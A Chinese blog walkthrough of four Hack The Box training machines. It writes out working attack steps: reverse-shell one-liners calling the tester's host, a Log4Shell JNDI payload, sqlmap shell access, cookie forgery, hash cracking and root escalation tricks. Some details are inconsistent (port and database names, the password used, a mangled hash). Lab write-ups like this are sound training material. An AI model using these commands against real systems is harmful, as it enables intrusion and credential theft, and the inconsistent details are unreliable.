写在前面
本文针对Hack the box 靶机TIER2渗透过程进行记录。
Archetype
开启在线靶机,靶机IP为10.129.88.20。
-
端口扫描
扫描命令 sudo nmap -sC -sV 10.129.88.20,


发现1443端口开启了smb服务,所以尝试使用smbclient连接。 -
smbclient连接
命令为:smbclient -N -L 10.129.88.20(-N表示无密码登录,-L可以查看服务器上可用服务)

通过查找发现在backups目录下存在一个配置文件prod.dtsConfig,将其下载本地进行分析。

从中发现用户名与密码为password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc。所以尝试使用其进行mysql数据库登录。

-
mssqlclient连接数据库
工具:impacket
下载地址:https://github.com/SecureAuthCorp/impacket

输入命令:mssqlclient.py ARCHETYPE/sql_svc@10.129.88.20 -windows-auth
(-windows-auth:确认使用windows认证)

通过help 查看可用命令,发现可以使用cmd指令。

尝试执行cmd语句,发现由于安全配置,该命令被关闭。由上述可用命令发现 enable_xp_cmdshell可开启。

发现配置成功。

再次尝试执行cmd语句,执行成功。

-
尝试建立稳定的反弹shell
二进制文件下载地址:https://github.com/int0x33/nc.exe/blob/master/nc64.exe?source=post_page-----a2ddc3557403----------------------
首先在本地开启http服务,sudo python3 -m http.server 80

开启监听端口

尝试使用powershell 的wget命令下载我们的反弹shell文件。

从我们的http服务显示中,目标主机发送了get请求,说明下载成功。

执行所下载的nc64.exe文件

监听端口成功收到反弹shell

-
权限提升
通过whoami命令发现当前用户为archetype\sql_svc,所以尝试提升权限。

工具使用:winPEASx64.exe
下载地址:https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe
同样是用powershell 的wget命令下载到目标主机。


执行文件 .\winPEASx64.exe 发现powershell的历史文件consoleHost_history.txt中可能有线索。

打印文件,成功发现账户密码:administrator:MEGACORP_4dm1n!!

-
administrator 登录

在Administrator的桌面下成功找到Flag

Oopsie
开启在线靶机,靶机IP为10.129.133.78。
-
端口扫描
扫描命令 sudo nmap -sC -sV 10.129.133.78,发现目标主机开了22端口的ssh服务和80端口的http服务。

-
http服务查看
打开页面,点击各个按钮与查看源代码后,发现没有连接到其他的url,所以尝试使用burpsuite进行隐藏目录查看。


-
burpsuite目录查看
发现该站点下有个cdn-cgi/login目录。

进入login页面查看,发现是个后台登录界面。再尝试弱密码如admin:admin root:admin和简单的sql注入发现无法登录。

发现还有一个选项 login as Guest,点击后页面如下,发现有个uploads选项。

点击后提示需要admin权限,所以尝试修改cookie。

-
cookie修改
点击account,发现显示了ID和用户名,同时url变为了http://10.129.239.233/cdn-cgi/login/admin.php?content=accounts&id=2。尝试修改id值会回显什么。

将id=1后,页面返回了admin的信息。所以尝试修改cookie,以admin权限登录。

页面右键选择inspect element,cookies在storage菜单下。


将value中的guest:2233修改为admin:34322,点击uploads,发现成功进入。

-
上传reverse shell
kali在**/usr/share/webshells/**目录下有相关的shell文件,选用PHP中的php-reverse-shell.php。首先需要对文件进行修改,将ip改为本机IP,端口改为想要监听的端口。


然后需要找到uploads在哪个目录下,从而执行我们上传的文件。
通过gobuster进行目录爆破,执行命令:gobuster dir --url http://10.129.239.233/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php

发现就在uploads目录下,但是进入该目录下缺提示没有权限访问。

尝试是否可以直接运行该目录下的文件,首先开启监听端口

url输入http://10.129.239.233/uploads/php-reverse-shell.php,成功反弹shell。

使用**python3 -c’import pty;pty.spawn(“/bin/bash”)'**可以使得shell更加完整。

- 横向移动
通过查找网站中的文件发现用户名与密码robert:M3g4C0rpUs3r!(说明:由于之前端口扫描发现使用的是apache,其默认路径为/var/www/html,所以优先寻找该目录下的文件)

通过 cat /etc/passwd 命令查看当前是否存在robert用户,发现果然存在(倒数第二个)。

尝试切换用户,横向移动成功。

回到robert更目录找到user.txt

- 权限提升
通过id 查看(显示用户的ID,以及所属群组的ID)。发现robert属于bugtracker。

通过find / -group bugtracker 2>/dev/null 命令查看bugtracker可以操作的文件。发现一个同名文件bugtracker。

发现该文件的所有者为root,且权限带有s,表示SUID (Set owner User ID)。说明该文件执行时是以所有者的身份(即root)运行的。

尝试使用该文件,提示输入bug id,这里随便输入一个1。

再次输入一个数字,发现他是使用cat命令进行打印,如果没有该编号的报告就会报错。这里发现所使用的cat命令没有进行路径指定,所以可以尝试添加环境变量执行我们想要执行的cat。

首先,在 /tmp目录下创建一个cat文件写入 /bin/sh,并添加可执行权限。

添加环境变量 tmp。

再次执行bugtracker,且id填写任意id,权限成功提升为root。

在root文件夹下成功找到Flag

Vaccine
开启在线靶机,靶机IP为10.129.127.22。
-
端口扫描
扫描命令:sudo nmap -sC -sV 10.129.127.22。开启21端口ftp服务、22端口的ssh以及80http服务

-
ftp连接
输入命令:ftp 10.129.127.22,用户名为anonymous,密码为空,登录成功。发现有个名为backup.zip的压缩文件,下载到本地进行分析。

解压backup文件,提示需要password。在尝试弱密码失败后,使用john the ripper暴力破解。

先将backup.zip 哈希化。

输入命令 john -wordlist=/usr/share/wordlists/rockyou.txt hashes进行破解。破解密码为741852963

重新解压backup.zip文件,输入破解密码741852963,解压成功。

打印index.php,发现用户名与密码 admin:2cb42f8734ea607eefed3b70af13bbd3。

但是密码应该时被hash过,所以尝试破解。
首先使用hashid判断类型,尝试用MD5破解。

写入文件hash.txt

输入命令:hashcat -a 0 -m 0 hash.txt /usr/share/wordlists/rockyou.txt 进行破解。破解结果为:qwerty789
(参数说明:-a 表示攻击模式,0表示暴力破解;-m表示hash类型,0表示MD5)

-
登录后台
输入admin:qwerty789尝试登录

登录成功

-
sql注入
在搜索框输入1后发现url变为http://10.129.154.151/dashboard.php?search=1,可能存在SQL注入。

工具使用:sqlmap
由于是登录后的界面所以需要正确cookies,否则无法访问。

执行命令:sqlmap -u ‘http://10.129.154.151/dashboard.php?search=any+query’ --cookie=“PHPSESSID=6r49qb1ev7u71hf74drkg9p0qq”


显示存在SQL注入,修改命令:sqlmap -u ‘http://10.129.154.151/dashboard.php?search=any+query’ --cookie=“PHPSESSID=6r49qb1ev7u71hf74drkg9p0qq” --os-shell 获取shell

成功获取shell。

为了使shell更加稳定和可交互,在本地开启监听服务

原shell执行:bash -c “bash -i >& /dev/tcp/{your_IP}/443 0>&1”

监听端口成功反弹shell(输入:python3 -c 'import pty;pty.spawn(“/bin/bash”)'使得shell可完整交互)


用户flag成功找到。

- 权限提升
通过sudo -l 查看当前用户权限,发现需要密码。

先看网站目录下有什么发现

在dashboard.php中我们找到了用户名与密码,postgres:P@s5w0rd!

- 重新输入sudo -l 密码输入P@s5w0rd!。发现postgres用户可以执行**/bin/vi /etc/postgresql/11/main/pg_hba.conf**

这里会发现shell会自动断开,由于我们知道了用户名与密码,所以我们尝试更加稳定的ssh连接。

尝试通过vi 建立shell(详情参考:https://gtfobins.github.io/gtfobins/vi/#sudo)
输入:sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf -c ‘:!/bin/sh’/dev/null,提示没有权限。

所以先进入pg_hba.conf文件,输入:sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf。

然后键盘输入**: set shell=/bin/sh回车再输入:: shell**,成功获取root权限。



成功获取root Flag

Unified
开启在线靶机,靶机IP为10.129.208.78。
-
端口扫描
扫描命令:sudo nmap -sC -sV 10.129.96.149


-
查看web页面
输入10.129.96.149:8443,发现使用的使unifi 6.4.54的登陆界面。google unifi 6.4.54可以发现存在 CVE-2021-44228 漏洞。
(详情参考:https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi)

-
漏洞利用
首先使用burpsuite设置浏览器代理。(注:此代理设置为firefox浏览器过程)
找到“代理”选项,选择“设置”。

选择手代理配置,该ip地址与端口应与burpsuite一致(详情参考链接: link)


代理成功后,返回unifi登陆界面,开启burpsuite interception

在页面输入任意用户名密码(此处输入为test:test)

burpsuite成功拦截到流量信息为:

选择send to Repeater,或者快捷键 Ctrl+R。

修改remember字段的值为:“${jndi:ldap://{本机IP}/whatever}”点击send发送。Response显示"api.err.InvalidPayload",说明Payload被执行了只是不存在。

然后使用tcpdump开启389端口监听LDAP连接,

重新点击send。发现成功接收到LDAP连接信息。

-
构建payload,实现远程代码执行
工具使用:Open-JDK;Maven;rogue-jndi
(下载命令:sudo apt install openjdk-11-jdk -y ;sudo apt-get install maven;git clone https://github.com/veracode-research/rogue-jndi)
完成上述下载后进入rogue-jndi目录执行mvn package(注:需要科学上网,不然可能会编译失败)
编译成功后会在生成RogueJndi-1.1.jar文件在 /target 目录下。

然后执行echo ‘bash -c bash -i >&/dev/tcp/10.10.16.5/1234 0>&1’ |base64(10.10.16.5为本机IP,1234为接受shell端口)

在rogue-jndi目录下,执行:java -jar target/RogueJndi-1.1.jar --command “bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuNS8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}” --hostname “10.10.16.5”
开启监听端口。

回到burpsuite,修改remember字段值为:“${jndi:ldap://10.10.16.5:1389/o=tomcat}”,点击send

此时我们开启的服务接收到信息

成功收到shell,输入:script /dev/null -cbash,使shell更加完整。

找到user.txt flag

-
权限提升
由于UniFi默认使用MongoDB作为数据库,所以我们先查看MongoDB是否运行。
(详情参考:https://erikdekker.net/ubiquity/unifi/2020/05/09/reset-unifi-password.html)
输入:ps aux | grep mongo,发现MongoDB运行在27117端口。

通过命令:mongo --port 27117 ace --eval “db.admin.find().forEach(printjson);查询到administrator相关信息,发现x_shadow字段很大概率是哈希加密过的密码,所以尝试破解。

通过hashid 发现其为SHA-512加密,尝试暴力破解失败。换一种思路,修改其x_shadow的值为我们设定的密码。

使用工具:mkpasswd
输入命令:mkpasswd -m sha-512 Password1111

输入命令:mongo --port 27117 ace --eval 'db.admin.update({”_id":ObjectId(“61ce278f46e0fb0012d47ee4”)},{$set:{“x_shadow”:“ 6 6 6ts6U3ZTuaNvRemqd$rJQZh/.7SLFoLe5Wjh0xbnbkir82qY/lFuzUsUAJCrRcbjJQ/.SA/wxfM1PweMEBSYdFrrw4P3QFyrSoCBQHJ/”}})’
再次输入mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);查看发现修改成功。

返回unifi登陆界面输入用户名密码:administrator:passwd1111,登陆成功。

通过查找发现在settings->site中允许ssh连接,并且得到用户名与密码root:NotACrackablePassword4U2022。

所以我们尝试以root用户登陆目标主机,登陆成功。找到root.txt Flag

本文详细记录了在Hackthebox TIER2靶机上进行的渗透测试过程,包括Archetype、Oopsie、Vaccine和Unified四个挑战,涉及端口扫描、SMB、MySQL、MssqlClient、反弹shell、权限提升及多个技术环节的破解与攻防.
1446

被折叠的 条评论
为什么被折叠?



